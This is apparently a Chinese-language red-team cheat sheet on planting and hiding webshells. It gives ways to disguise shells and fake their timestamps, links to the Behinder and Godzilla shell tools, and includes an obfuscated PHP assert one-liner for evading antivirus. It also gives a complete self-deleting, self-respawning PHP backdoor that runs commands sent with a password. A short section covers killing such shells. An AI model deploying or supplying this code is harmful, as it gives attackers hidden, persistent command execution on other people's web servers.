Webshell

隐藏WebShell #

1、仿照已存在的文件起名字，隐藏在深层目录， 创建…目录隐藏shell 2、利用静态文件，比如图片马然后利用 .htaccess 进行解析 3、修改WebShell时间戳为同目录下其它文件相同的时间

快速应用 #

直接上冰蝎加密shell，或哥斯拉内存马（基于tomcat） 冰蝎：https://github.com/rebeyond/Behinder 哥斯拉：https://github.com/BeichenDream/Godzilla

PHP #

文件免杀（Apache、Nginx特性）cmd

<? assert(implode(reset(get_defined_vars())));    //返回由所有已定义变量所组成的数组    
Use age：cmd.php?a=system(whoami);
适用于PHP < 7.1 ，因为在PHP7.1之后assert被弃用了、7.2 create_function被弃用了

内存马

//nodie_shell.php
<?php
    set_time_limit(0);            //设置脚本最大执行时间,0 即为无时间限制
    ignore_user_abort(true);    //设置与客户机断开不终止脚本的执行
    unlink(__FILE__);            //删除文件自身
    $file = '/var/www/html/.shell.php';    
    $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
    while (1) {
        file_put_contents($file, $code);    //写shell文件
        system('touch -m -d "2014-10-31 13:50:11" .shell.php');        //修改时间戳
        usleep(1000);            //以指定的微秒数延缓程序的执行
    }
?>

杀死PHP不死马

1、高权限，重启服务
service apache2 restart
service php restart
2、低权限，杀掉所有进程
kill -9 -1
killall apache2

其它参考 #

Tomcat无文件Shell： https://github.com/z1Ro0/tomcat_nofile_webshell
冰蝎，从入门到魔改(opens new window)
冰蝎改造之不改动客户端=>内存马